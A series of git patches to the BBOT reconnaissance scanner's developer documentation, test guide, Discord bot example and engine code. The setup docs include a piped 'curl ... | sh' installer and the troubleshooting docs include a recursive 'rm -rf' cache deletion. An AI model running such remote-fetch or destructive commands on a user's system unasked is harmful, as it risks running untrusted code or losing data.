critical CVEs. If your module is doing potentially dangerous things like running commands, reading and writing files, etc. - expect a lot of extra scrutiny. ### Tests We believe tests are the backbone of any large scale project. Think of them like a save-point for a capability. Without them, regressions constantly creep in and accumulate. -Every module MUST have module tests. There are tons of examples to draw from with existing modules. We can also help you write the tests. They shouldn't be there just to be there -- they should really exercise as much of the code in your module as possible. For more details, see [Unit Tests](./dev/tests.md). +Every module MUST have module tests. There are tons of examples to draw from with existing modules. We can also help you write the tests. They shouldn't be there just to be there, they should really exercise as much of the code in your module as possible. + +If you make a change to any core code, helpers, etc - chances are if you break anything, our massive amount of tests (as of this writing's creation over 300) will catch it. So run them. Try to run the entire test suite against your code before you submit it. + +For more details, see [Unit Tests](./dev/tests.md). ## Contributor License Agreement @@ -49,7 +57,7 @@ Like many open-source projects, we ask that you sign our [Contributor License Ag ## Development -To get started developing, see the following links: +Ready to dive in? See the following links to get started: - [Setting up a Dev Environment](./dev/dev_environment.md) - [How to Write a BBOT Module](./dev/module_howto.md) From f0780bcea1de615f1ebcfe83bf319f4b85fa7fc6 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:39:12 -0400 Subject: [PATCH 854/912] Add 2.8.1-2.8.6 to release history, fix duplicate 1.0.5 --- docs/release_history.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/release_history.md b/docs/release_history.md index 90349d6c4f..3e4776af4e 100644 --- a/docs/release_history.md +++ b/docs/release_history.md @@ -1,5 +1,8 @@ +### 2.8.6 - Jun 16, 2026 +- 2.8.6 is expected to be the last 2.x release. Supported Python versions: 3.10-3.13. +- [https://github.com/blacklanternsecurity/bbot/pull/3199](https://github.com/blacklanternsecurity/bbot/pull/3199) + ### 2.8.5 - Jun 16, 2026 -- 2.8.5 is expected to be the last 2.x release. Supported Python versions: 3.10-3.13. - [https://github.com/blacklanternsecurity/bbot/pull/3185](https://github.com/blacklanternsecurity/bbot/pull/3185) ### 2.8.4 - Mar 17, 2026 @@ -86,6 +89,3 @@ ### 1.0.5 - Mar 10, 2023 - [https://github.com/blacklanternsecurity/bbot/pull/352](https://github.com/blacklanternsecurity/bbot/pull/352) - -### 1.0.5 - Mar 10, 2023 -- [https://github.com/blacklanternsecurity/bbot/pull/352](https://github.com/blacklanternsecurity/bbot/pull/352) From 9ec17978c39dbfcddc1d79f67ca3b517412a4bb9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:45:49 -0400 Subject: [PATCH 855/912] Fix dev reference page, update troubleshooting --- docs/dev/index.md | 14 ++++++-------- docs/troubleshooting.md | 27 +++++++++++++++++++-------- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/docs/dev/index.md b/docs/dev/index.md index 699c5799c8..d9ed3e8792 100644 --- a/docs/dev/index.md +++ b/docs/dev/index.md @@ -49,18 +49,16 @@ For a full listing of `Scanner` attributes and functions, see the [`Scanner` Cod You can specify any number of targets: ```python -# create a scan against multiple targets scan = Scanner( "evilcorp.com", "evilcorp.org", - "evilcorp.ce", "4.3.2.1", "1.2.3.4/24", presets=["subdomain-enum"] ) # this is the same as: -targets = ["evilcorp.com", "evilcorp.org", "evilcorp.ce", "4.3.2.1", "1.2.3.4/24"] +targets = ["evilcorp.com", "evilcorp.org", "4.3.2.1", "1.2.3.4/24"] scan = Scanner(*targets, presets=["subdomain-enum"]) ``` @@ -68,18 +66,18 @@ For more details, including which types of targets are valid, see [Targets](../s #### Other Custom Options -In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-seeds-and-blacklists), and custom [`config` options](../scanning/configuration.md): +In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../scanning/output.md), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-t-seeds-s-and-blacklists-b), and custom [`config` options](../scanning/configuration.md): ```python -# create a scan against multiple targets scan = Scanner( - # targets + # targets (positional args define scope) "evilcorp.com", + "evilcorp.org", "4.3.2.1", # enable these presets presets=["subdomain-enum"], - # explicitly define in-scope targets - target=["evilcorp.com", "evilcorp.org"], + # seeds drive passive modules without affecting scope + seeds=["1.2.3.4/24"], # blacklist these hosts blacklist=["prod.evilcorp.com"], # also enable these individual modules diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index d3be020ad8..502fe0dc1b 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -1,22 +1,22 @@ # Troubleshooting -## Installation troubleshooting +## Installation Troubleshooting - `Fatal error from pip prevented installation.` - `ERROR: No matching distribution found for bbot` -- `bash: /home/user/.local/bin/bbot: /home/user/.local/pipx/venvs/bbot/bin/python: bad interpreter` -If you get errors resembling any of the above, it's probably because your Python version is too old. To install a newer version (3.10+ is required), you will need to do something like this: +If you get errors like the above, it's probably because your Python version is too old. BBOT requires Python 3.10+. + ```bash # install a newer version of python -sudo apt install python3.10 python3.10-venv +sudo apt install python3.12 python3.12-venv # install pipx -python3.10 -m pip install --user pipx +python3.12 -m pip install --user pipx # add pipx to your path -python3.10 -m pipx ensurepath +python3.12 -m pipx ensurepath # reboot reboot # install bbot -python3.10 -m pipx install bbot +python3.12 -m pipx install bbot # run bbot bbot --help ``` @@ -24,8 +24,19 @@ bbot --help ## `ModuleNotFoundError` If you run into a `ModuleNotFoundError`, try running your `bbot` command again with `--force-deps`. This will repair your modules' Python dependencies. +## Clear BBOT Cache +BBOT caches module data, wordlists, and other resources under `~/.bbot`. After an upgrade, stale cache files can sometimes cause unexpected errors. If you're seeing strange behavior after updating, try clearing it: + +```bash +# remove the BBOT cache directory +rm -rf ~/.bbot + +# BBOT will recreate it on the next run +bbot --help +``` + ## Regenerate Config -As a troubleshooting step it is sometimes useful to clear out your older configs and let BBOT generate new ones. This will ensure that new defaults are property restored, etc. +As a troubleshooting step it is sometimes useful to clear out your older configs and let BBOT generate new ones. This will ensure that new defaults are properly restored, etc. ```bash # make a backup of the old configs mv ~/.config/bbot ~/.config/bbot.bak From b184270ae7bb4a680af29acbdf432a63d4161995 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:46:35 -0400 Subject: [PATCH 856/912] Fix dev environment setup: git URL, dev branch, ruff check --- docs/dev/dev_environment.md | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/docs/dev/dev_environment.md b/docs/dev/dev_environment.md index 94e72abd73..355a0c6ed1 100644 --- a/docs/dev/dev_environment.md +++ b/docs/dev/dev_environment.md @@ -11,15 +11,19 @@ The following will show you how to set up a fully functioning python environment ```bash # clone your forked repo and cd into it -git clone git@github.com/<username>/bbot.git +git clone git@github.com:<username>/bbot.git cd bbot -# install uv +# switch to the dev branch and create a feature branch +git checkout dev +git checkout -b my-feature + +# install uv (if you haven't already) curl -LsSf https://astral.sh/uv/install.sh | sh # install pip dependencies uv sync --group dev -# install pre-commit hooks, etc. +# install pre-commit hooks uv run pre-commit install # enter virtual environment @@ -32,7 +36,8 @@ bbot --help - After making your changes, run the tests locally to ensure they pass. ```bash -# auto-format code indentation, etc. +# lint and auto-format +ruff check ruff format # run tests From c34ca1a30606870c4d692ce6bc2d112bbfc69427 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:53:59 -0400 Subject: [PATCH 857/912] Update module howto and architecture docs for current codebase --- docs/dev/architecture.md | 2 +- docs/dev/module_howto.md | 63 ++++++++++++++++++++++------------------ 2 files changed, 35 insertions(+), 30 deletions(-) diff --git a/docs/dev/architecture.md b/docs/dev/architecture.md index a2547154f5..bd23c13b32 100644 --- a/docs/dev/architecture.md +++ b/docs/dev/architecture.md @@ -6,7 +6,7 @@ Here is a basic overview of BBOT's internal architecture. Being both ***recursive*** and ***event-driven***, BBOT makes heavy use of queues. These enable smooth communication between the modules, and ensure that large numbers of events can be produced without slowing down or clogging up the scan. -Every module in BBOT has both an ***incoming*** and ***outgoing*** queue. Event types matching the module's `WATCHED_EVENTS` (e.g. `DNS_NAME`) are queued in its incoming queue, and processed by the module's `handle_event()` (or `handle_batch()` in the case of batched modules). If the module finds anything interesting, it creates an event and places it in its outgoing queue, to be processed by the scan and redistributed to other modules. +Every module in BBOT has both an ***incoming*** and ***outgoing*** queue. Event types matching the module's `watched_events` (e.g. `DNS_NAME`) are queued in its incoming queue, and processed by the module's `handle_event()` (or `handle_batch()` in the case of batched modules). If the module finds anything interesting, it creates an event and places it in its outgoing queue, to be processed by the scan and redistributed to other modules. ## Event Flow diff --git a/docs/dev/module_howto.md b/docs/dev/module_howto.md index 1b67d982fd..ec68850544 100644 --- a/docs/dev/module_howto.md +++ b/docs/dev/module_howto.md @@ -10,21 +10,24 @@ Here we'll go over a basic example of writing a custom BBOT module. - the class must have the same name as your file (case-insensitive) 1. Define in `watched_events` what type of data your module will consume 1. Define in `produced_events` what type of data your module will produce -1. Define (via `flags`) whether your module is `active` or `passive`, and optionally whether it's `loud` or `invasive` +1. Define (via `flags`) whether your module is `active` or `passive`, and whether it's `safe`, `loud`, or `invasive` 1. **Put your main logic in `.handle_event()`** Here is an example of a simple module that performs whois lookups: ```python title="bbot/modules/whois.py" from bbot.modules.base import BaseModule +from bbot.core.config.models import BaseModuleConfig, Field class whois(BaseModule): watched_events = ["DNS_NAME"] # watch for DNS_NAME events - produced_events = ["WHOIS"] # we produce WHOIS events - flags = ["passive"] - meta = {"description": "Query WhoisXMLAPI for WHOIS data"} - options = {"api_key": ""} # module config options - options_desc = {"api_key": "WhoisXMLAPI Key"} + produced_events = ["DNS_NAME"] # we produce DNS_NAME events + flags = ["passive", "safe"] + meta = {"description": "Query WhoisXMLAPI for related domains"} + + class Config(BaseModuleConfig): + api_key: str = Field("", description="WhoisXMLAPI Key", sensitive=True, mandatory=True) + per_domain_only = True # only run once per domain base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService" @@ -43,7 +46,8 @@ class whois(BaseModule): self.hugeinfo(f"Visiting {url}") response = await self.helpers.request(url) if response is not None: - await self.emit_event(response.json(), "WHOIS", parent=event) + for related_domain in response.json().get("domains", []): + await self.emit_event(related_domain, "DNS_NAME", parent=event) ``` ## Test your new module @@ -76,9 +80,9 @@ For details on how tests are written, see [Unit Tests](./tests.md). ## `handle_event()` and `emit_event()` -The `handle_event()` method is the most important part of the module. By overriding this method, you control what the module does. During a scan, when an [event](./scanning/events.md) from your `watched_events` is encountered (a `DNS_NAME` in this example), `handle_event()` is automatically called with that event as its argument. +The `handle_event()` method is the most important part of the module. By overriding this method, you control what the module does. During a scan, when an [event](../scanning/events.md) from your `watched_events` is encountered (a `DNS_NAME` in this example), `handle_event()` is automatically called with that event as its argument. -The `emit_event()` method is how modules return data. When you call `emit_event()`, it creates an [event](./scanning/events.md) and outputs it, sending it any modules that are interested in that data type. +The `emit_event()` method is how modules return data. When you call `emit_event()`, it creates an [event](../scanning/events.md) and outputs it, sending it any modules that are interested in that data type. ## `setup_deps()` and `setup()` @@ -115,43 +119,44 @@ async def setup(self): ## Module Config Options -Each module can have its own set of config options. These live in the `options` and `options_desc` attributes on your class. Both are dictionaries; `options` is for defaults and `options_desc` is for descriptions. Here is a typical example: +Each module can have its own set of config options. These are defined as a `Config` inner class that inherits from `BaseModuleConfig`, using pydantic `Field` for defaults and descriptions. Here is a typical example: -```python title="bbot/modules/nmap.py" -class nmap(BaseModule): +```python title="bbot/modules/portscan.py" +from bbot.core.config.models import BaseModuleConfig, Field + +class portscan(BaseModule): # ... - options = { - "top_ports": 100, - "ports": "", - "timing": "T4", - "skip_host_discovery": True, - } - options_desc = { - "top_ports": "Top ports to scan (default 100) (to override, specify 'ports')", - "ports": "Ports to scan", - "timing": "-T<0-5>: Set timing template (higher is faster)", - "skip_host_discovery": "skip host discovery (-Pn)", - } + class Config(BaseModuleConfig): + top_ports: int = Field(100, description="Top ports to scan (default 100) (to override, specify 'ports')") + ports: str = Field("", description="Ports to scan") + rate: int = Field(300, description="Rate in packets per second") + wait: int = Field(5, description="Seconds to wait for replies after scan is complete") async def setup(self): self.ports = self.config.get("ports", "") - self.timing = self.config.get("timing", "T4") + self.rate = self.config.get("rate", 300) self.top_ports = self.config.get("top_ports", 100) - self.skip_host_discovery = self.config.get("skip_host_discovery", True) return True ``` -Once you've defined these variables, you can pass the options via `-c`: +For API keys and other secrets, use `sensitive=True` (redacted in logs) and `mandatory=True` (module soft-fails if not set): + +```python +class Config(BaseModuleConfig): + api_key: str = Field("", description="API Key", sensitive=True, mandatory=True) +``` + +Once you've defined these fields, you can pass the options via `-c`: ```bash -bbot -m nmap -c modules.nmap.top_ports=250 +bbot -m portscan -c modules.portscan.top_ports=250 ``` ... or via the config: ```yaml title="~/.config/bbot/bbot.yml" modules: - nmap: + portscan: top_ports: 250 ``` From 5a2ec9317ad2bed5641115905f6b523d0ebbd6f1 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:12:23 -0400 Subject: [PATCH 858/912] Update dev docs: tests, core deps page, architecture, discord bot example --- docs/dev/core_dependencies.md | 77 ++++++++++++++++++++++ docs/dev/tests.md | 121 ++++++++++++++++++++++++++++++---- examples/discord_bot.py | 38 +++++++---- mkdocs.yml | 1 + 4 files changed, 211 insertions(+), 26 deletions(-) create mode 100644 docs/dev/core_dependencies.md diff --git a/docs/dev/core_dependencies.md b/docs/dev/core_dependencies.md new file mode 100644 index 0000000000..50781bbcee --- /dev/null +++ b/docs/dev/core_dependencies.md @@ -0,0 +1,77 @@ +# Core Dependencies + +BBOT is built on top of several purpose-built libraries, most of which are maintained by [Black Lantern Security](https://github.com/blacklanternsecurity). Understanding these will help you navigate the codebase and avoid reinventing things that already exist. + +Libraries marked with **BLS** are maintained by us. + +## blasthttp (BLS) + +[blasthttp](https://github.com/blacklanternsecurity/blasthttp) is a Rust-backed HTTP client built for speed. It handles all of BBOT's outbound HTTP traffic, including module API calls, web spidering, and brute-forcing. + +Module authors don't typically interact with blasthttp directly. Instead, use `self.helpers.request()`: + +```python +response = await self.helpers.request("https://example.com/api") +if response and response.status_code == 200: + data = response.json() +``` + +The shared blasthttp client is accessible at `self.helpers.blasthttp` and respects the global `web.http_rate_limit` config. + +## blastdns (BLS) + +[blastdns](https://github.com/blacklanternsecurity/blastdns) is a Rust-backed async DNS resolver. It powers all of BBOT's DNS resolution with built-in caching, retries, and per-resolver parallelism. BBOT spins up multiple workers per resolver in `/etc/resolv.conf`, so adding more resolvers directly speeds up scans. + +Accessed via `self.helpers.dns`: + +```python +# resolve a hostname +results = await self.helpers.resolve("example.com", rdtype="A") + +# resolve with full record details +results = await self.helpers.resolve_full("example.com", rdtype="CNAME") +``` + +## cloudcheck (BLS) + +[cloudcheck](https://github.com/blacklanternsecurity/cloudcheck) identifies which cloud provider (if any) owns a given IP or domain. It maintains a regularly-updated database of IP ranges for AWS, Azure, GCP, Cloudflare, and dozens of other providers. BBOT uses it to tag events with cloud provider info (e.g. `cloud-aws`, `cdn-cloudflare`). + +Accessed via `self.helpers.cloudcheck`: + +```python +result = await self.helpers.cloudcheck.lookup("1.2.3.4") +# CloudCheckResult with provider name, type (cdn, cloud, waf, etc.) +``` + +## radixtarget (BLS) + +[radixtarget](https://github.com/blacklanternsecurity/radixtarget) is a high-performance radix tree for IP/DNS lookups. It is the data structure behind BBOT's target, seed, and blacklist storage, enabling fast scope checks against large target lists with CIDR and subdomain matching. + +```python +from radixtarget import RadixTarget + +rt = RadixTarget() +rt.insert("10.0.0.0/8") +rt.search("10.1.2.3") # True +``` + +## asndb (BLS) + +[asndb](https://github.com/blacklanternsecurity/asndb) provides ASN lookups for IP addresses, returning the owning organization, AS number, and subnet. BBOT uses it to enrich events with ASN metadata and to support ASN targets (e.g. `bbot -t AS1234`). + +Accessed via `self.helpers.asn`: + +```python +result = await self.helpers.asn.lookup("8.8.8.8") +# {"asn": 15169, "name": "GOOGLE", "description": "Google LLC", ...} +``` + +## Other Key Dependencies + +| Library | What BBOT uses it for | +|---------|----------------------| +| [pydantic](https://docs.pydantic.dev/) | Preset/config validation, module config schemas (`BaseModuleConfig`) | +| [ansible-runner](https://ansible-runner.readthedocs.io/) | Module dependency installation (`deps_apt`, `deps_ansible`) | +| [yara-python](https://yara.readthedocs.io/) | Pattern matching in `excavate` (secret/credential extraction from HTTP responses) | +| [deepdiff](https://zepworks.com/deepdiff/) | HTTP response comparison for web modules (baseline diffing, wildcard detection) | +| [dnspython](https://dnspython.readthedocs.io/) | DNS record type constants and utilities (blastdns handles actual resolution) | diff --git a/docs/dev/tests.md b/docs/dev/tests.md index 1013ea85db..f5c6105c05 100644 --- a/docs/dev/tests.md +++ b/docs/dev/tests.md @@ -54,7 +54,7 @@ class TestMyModule(ModuleTestBase): async def setup_after_prep(self, module_test): # mock HTTP response module_test.blasthttp_mock.add_response( - url="https://api.com/sudomains?apikey=deadbeef&domain=blacklanternsecurity.com", + url="https://api.com/subdomains?apikey=deadbeef&domain=blacklanternsecurity.com", json={ "subdomains": [ "www.blacklanternsecurity.com", @@ -81,25 +81,122 @@ class TestMyModule(ModuleTestBase): assert "dev.blacklanternsecurity.com" in dns_names, "failed to find subdomain #2" ``` +### Mocking HTTP responses + +`module_test.blasthttp_mock` intercepts all outbound HTTP requests during tests. Requests to `127.0.0.1`/`localhost` pass through to the real test HTTP server, but everything else is mocked. + +```python + async def setup_after_prep(self, module_test): + # JSON response + module_test.blasthttp_mock.add_response( + url="https://api.example.com/lookup?domain=blacklanternsecurity.com", + json={"subdomains": ["www.blacklanternsecurity.com"]}, + ) + + # plain text response + module_test.blasthttp_mock.add_response( + url="https://example.com/data.txt", + text="some plain text response", + ) + + # error response + module_test.blasthttp_mock.add_response( + url="https://example.com/broken", + status_code=500, + text="Internal Server Error", + ) + + # match on specific method and headers + module_test.blasthttp_mock.add_response( + url="https://api.example.com/submit", + method="POST", + match_headers={"Authorization": "Bearer mytoken"}, + json={"status": "ok"}, + ) +``` + +### Mocking DNS + +Use `module_test.mock_dns()` to control DNS resolution. Supports A, AAAA, CNAME, MX, TXT, and other record types: + +```python + async def setup_after_prep(self, module_test): + await module_test.mock_dns({ + "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + "www.blacklanternsecurity.com": {"CNAME": ["blacklanternsecurity.com"]}, + "mail.blacklanternsecurity.com": {"MX": ["mx.example.com"]}, + }) +``` + ### Debugging a test -Similar to debugging from within a module, you can debug from within a test using `self.log.critical()`, etc: +You can debug from within a test using standard Python logging via `self.log`: ```python def check(self, module_test, events): for e in events: - # bright red - self.log.critical(e.type) - # bright green - self.log.hugesuccess(e.data) - # bright orange - self.log.hugewarning(e.tags) - # bright blue - self.log.hugeinfo(e.parent) + self.log.critical(e.type) # bright red + self.log.warning(e.tags) # orange + self.log.info(e.data) # blue + self.log.debug(e.parent) # grey (requires -d) +``` + +### Advanced test features + +#### HTTP request handlers + +For dynamic HTTP responses, use `set_expect_requests_handler` with a custom handler function: + +```python +import re +from werkzeug.wrappers import Response + +class TestMyModule(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "mymodule"] + + def request_handler(self, request): + if request.path == "/api/data": + return Response('{"results": ["found"]}', status=200) + return Response("Not Found", status=404) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler( + expect_args=re.compile("/.*"), + request_handler=self.request_handler, + ) +``` + +#### OOB interaction mocking + +For modules that use out-of-band interactions (interactsh): + +```python + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("mymodule") + + from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr( + ConfigAwareHelper, "interactsh", + lambda *a, **kw: self.interactsh_mock_instance, + ) +``` + +#### Other class attributes + +```python +class TestMyModule(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] # override default target + modules_overrides = ["http", "mymodule"] # control which modules are enabled + module_name = "mymodule" # if your class name doesn't match the module + config_overrides = {"modules": {"mymodule": {"option": "value"}}} + blacklist = ["bad.example.com"] # set a blacklist + seeds = ["seed.example.com"] # set seeds separate from targets + skip_distro_tests = True # skip when running in CI distro tests (e.g. docker-dependent tests) ``` -### More advanced tests +### More examples If you have questions about tests or need to write a more advanced test, come talk to us on [GitHub](https://github.com/blacklanternsecurity/bbot/discussions) or [Discord](https://discord.com/invite/PZqkgxu5SA). -It's also a good idea to look through our [existing tests](https://github.com/blacklanternsecurity/bbot/tree/stable/bbot/test/test_step_2/module_tests). BBOT has over a hundred of them, so you might find one that's similar to what you're trying to do. +It's also a good idea to look through our [existing tests](https://github.com/blacklanternsecurity/bbot/tree/dev/bbot/test/test_step_2/module_tests). BBOT has over 300 of them, so you might find one that's similar to what you're trying to do. diff --git a/examples/discord_bot.py b/examples/discord_bot.py index f435b0301c..b953dc3307 100644 --- a/examples/discord_bot.py +++ b/examples/discord_bot.py @@ -2,7 +2,6 @@ from discord.ext import commands from bbot.scanner import Scanner -from bbot.modules.output.discord import Discord class BBOTDiscordBot(commands.Cog): @@ -14,13 +13,13 @@ class BBOTDiscordBot(commands.Cog): 2. Create a new application 3. Create an invite link for the bot, visit the link to invite it to your server - Your Application --> OAuth2 --> URL Generator - - For Scopes, select "bot"" + - For Scopes, select "bot" - For Bot Permissions, select: - Read Messages/View Channels - Send Messages 4. Turn on "Message Content Intent" - Your Application --> Bot --> Privileged Gateway Intents --> Message Content Intent - 5. Copy your Discord Bot Token and put it at the top this file + 5. Copy your Discord Bot Token and put it at the top of this file - Your Application --> Bot --> Reset Token 6. Run this script @@ -36,27 +35,38 @@ def __init__(self): @commands.command(name="scan", description="Scan a target with BBOT.") async def scan(self, ctx, target: str): + # stop any existing scan if self.current_scan is not None: self.current_scan.stop() - await ctx.send(f"Starting scan against {target}.") + await ctx.send(f"Starting scan against **{target}**") - # creates scan instance - self.current_scan = Scanner(target, flags="subdomain-enum") - discord_module = Discord(self.current_scan) + # create scan instance + self.current_scan = Scanner(target, presets=["subdomain-enum"]) - seen = set() + # iterate through results and send them to the channel num_events = 0 - # start scan and iterate through results async for event in self.current_scan.async_start(): - if hash(event) in seen: - continue - seen.add(hash(event)) - await ctx.send(discord_module.format_message(event)) + # format findings differently to show severity + if event.type == "FINDING": + severity = event.data.get("severity", "INFO") + description = event.data.get("description", "") + event_text = f"`[FINDING]` [{severity}] **{description}**" + else: + event_text = f"`[{event.type}]` **`{event.data}`**" + await ctx.send(event_text) num_events += 1 - await ctx.send(f"Finished scan against {target}. {num_events:,} results.") + await ctx.send(f"Finished scan against **{target}**. {num_events:,} results.") self.current_scan = None + @commands.command(name="stop", description="Stop the current scan.") + async def stop(self, ctx): + if self.current_scan is None: + await ctx.send("No scan is currently running.") + return + self.current_scan.stop() + await ctx.send("Scan stopped.") + if __name__ == "__main__": intents = discord.Intents.default() diff --git a/mkdocs.yml b/mkdocs.yml index 1c11fe8114..a7345cb833 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -42,6 +42,7 @@ nav: - Developer Manual: - Development Overview: dev/index.md - Setting Up a Dev Environment: dev/dev_environment.md + - Core Dependencies: dev/core_dependencies.md - BBOT Internal Architecture: dev/architecture.md - How to Write a BBOT Module: dev/module_howto.md - Validating & Inspecting Presets: dev/preset_validation.md From 916cd4e1980d8fa778e6beac634ce3fc4bb0ac26 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:14:53 -0400 Subject: [PATCH 859/912] Remove dead engine code, reparent WebError/DNSError to BBOTError --- bbot/core/engine.py | 707 --------------------------- bbot/errors.py | 8 +- bbot/test/test_step_1/test_engine.py | 146 ------ docs/dev/engine.md | 5 - mkdocs.yml | 1 - 5 files changed, 2 insertions(+), 865 deletions(-) delete mode 100644 bbot/core/engine.py delete mode 100644 bbot/test/test_step_1/test_engine.py delete mode 100644 docs/dev/engine.md diff --git a/bbot/core/engine.py b/bbot/core/engine.py deleted file mode 100644 index 7a33f0da71..0000000000 --- a/bbot/core/engine.py +++ /dev/null @@ -1,707 +0,0 @@ -import os -import sys -import zmq -import pickle -import asyncio -import inspect -import logging -import tempfile -import traceback -import contextlib -import contextvars -import zmq.asyncio -import multiprocessing -from pathlib import Path -from concurrent.futures import CancelledError -from contextlib import asynccontextmanager, suppress - -from bbot.core import CORE -from bbot.errors import BBOTEngineError -from bbot.core.helpers.async_helpers import get_event_loop -from bbot.core.multiprocess import SHARED_INTERPRETER_STATE -from bbot.core.helpers.misc import rand_string, in_exception_chain - - -error_sentinel = object() - - -class EngineBase: - """ - Base Engine class for Server and Client. - - An Engine is a simple and lightweight RPC implementation that allows offloading async tasks - to a separate process. It leverages ZeroMQ in a ROUTER-DEALER configuration. - - BBOT makes use of this by spawning a dedicated engine for DNS and HTTP tasks. - This offloads I/O and helps free up the main event loop for other tasks. - - To use Engine, you must subclass both EngineClient and EngineServer. - - See the respective EngineClient and EngineServer classes for usage examples. - """ - - ERROR_CLASS = BBOTEngineError - - def __init__(self, debug=False): - self._shutdown_status = False - self.log = logging.getLogger(f"bbot.core.{self.__class__.__name__.lower()}") - self._engine_debug = debug - - def pickle(self, obj): - try: - return pickle.dumps(obj) - except Exception as e: - self.log.error(f"Error serializing object: {obj}: {e}") - self.log.trace(traceback.format_exc()) - return error_sentinel - - def unpickle(self, binary): - try: - return pickle.loads(binary) - except Exception as e: - self.log.error(f"Error deserializing binary: {e}") - self.log.trace(f"Offending binary: {binary}") - self.log.trace(traceback.format_exc()) - return error_sentinel - - async def _infinite_retry(self, callback, *args, **kwargs): - interval = kwargs.pop("_interval", 300) - context = kwargs.pop("_context", "") - # default overall timeout of 10 minutes (300 second interval * 2 iterations) - max_retries = kwargs.pop("_max_retries", 1) - if not context: - context = f"{callback.__name__}({args}, {kwargs})" - retries = 0 - while not self._shutdown_status: - try: - return await asyncio.wait_for(callback(*args, **kwargs), timeout=interval) - except (TimeoutError, asyncio.exceptions.TimeoutError): - self.log.debug(f"{self.name}: Timeout after {interval:,} seconds {context}, retrying...") - retries += 1 - if max_retries is not None and retries > max_retries: - raise TimeoutError(f"Timed out after {(max_retries + 1) * interval:,} seconds {context}") - - def engine_debug(self, *args, **kwargs): - if self._engine_debug: - self.log.trace(*args, **kwargs) - - -class EngineClient(EngineBase): - """ - The client portion of BBOT's RPC Engine. - - To create an engine, you must create a subclass of this class and also - define methods for each of your desired functions. - - Note that this only supports async functions. If you need to offload a synchronous function to another CPU, use BBOT's multiprocessing pool instead. - - Any CPU or I/O intense logic should be implemented in the EngineServer. - - These functions are typically stubs whose only job is to forward the arguments to the server. - - Functions with the same names should be defined on the EngineServer. - - The EngineClient must specify its associated server class via the `SERVER_CLASS` variable. - - Depending on whether your function is a generator, you will use either `run_and_return()`, or `run_and_yield`. - - Examples: - >>> from bbot.core.engine import EngineClient - >>> - >>> class MyClient(EngineClient): - >>> SERVER_CLASS = MyServer - >>> - >>> async def my_function(self, **kwargs) - >>> return await self.run_and_return("my_function", **kwargs) - >>> - >>> async def my_generator(self, **kwargs): - >>> async for _ in self.run_and_yield("my_generator", **kwargs): - >>> yield _ - """ - - SERVER_CLASS = None - - def __init__(self, debug=False, **kwargs): - self.name = f"EngineClient {self.__class__.__name__}" - super().__init__(debug=debug) - self.process = None - if self.SERVER_CLASS is None: - raise ValueError(f"Must set EngineClient SERVER_CLASS, {self.SERVER_CLASS}") - self.CMDS = dict(self.SERVER_CLASS.CMDS) - for k, v in list(self.CMDS.items()): - self.CMDS[v] = k - self.socket_address = f"zmq_{rand_string(8)}.sock" - self.socket_path = Path(tempfile.gettempdir()) / self.socket_address - self.server_kwargs = kwargs.pop("server_kwargs", {}) - self._server_process = None - self.context = zmq.asyncio.Context() - self.context.setsockopt(zmq.LINGER, 0) - self.sockets = set() - - def check_error(self, message): - if isinstance(message, dict) and len(message) == 1 and "_e" in message: - self.engine_debug(f"{self.name}: got error message: {message}") - error, trace = message["_e"] - error = self.ERROR_CLASS(error) - error.engine_traceback = trace - self.engine_debug(f"{self.name}: raising {error.__class__.__name__}") - raise error - return False - - async def run_and_return(self, command, *args, **kwargs): - fn_str = f"{command}({args}, {kwargs})" - self.engine_debug(f"{self.name}: executing run-and-return {fn_str}") - if self._shutdown_status and not command == "_shutdown": - self.log.verbose(f"{self.name} has been shut down and is not accepting new tasks") - return - async with self.new_socket() as socket: - try: - message = self.make_message(command, args=args, kwargs=kwargs) - if message is error_sentinel: - return - await socket.send(message) - binary = await self._infinite_retry(socket.recv, _context=f"waiting for return value from {fn_str}") - except BaseException: - try: - await self.send_cancel_message(socket, fn_str) - except Exception: - self.log.debug(f"{self.name}: {fn_str} failed to send cancel message after exception") - self.log.trace(traceback.format_exc()) - raise - # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}") - message = self.unpickle(binary) - self.engine_debug(f"{self.name}: {fn_str} got return value: {message}") - # error handling - if self.check_error(message): - return - return message - - async def run_and_yield(self, command, *args, **kwargs): - fn_str = f"{command}({args}, {kwargs})" - self.engine_debug(f"{self.name}: executing run-and-yield {fn_str}") - if self._shutdown_status: - self.log.verbose("Engine has been shut down and is not accepting new tasks") - return - message = self.make_message(command, args=args, kwargs=kwargs) - if message is error_sentinel: - return - async with self.new_socket() as socket: - # TODO: 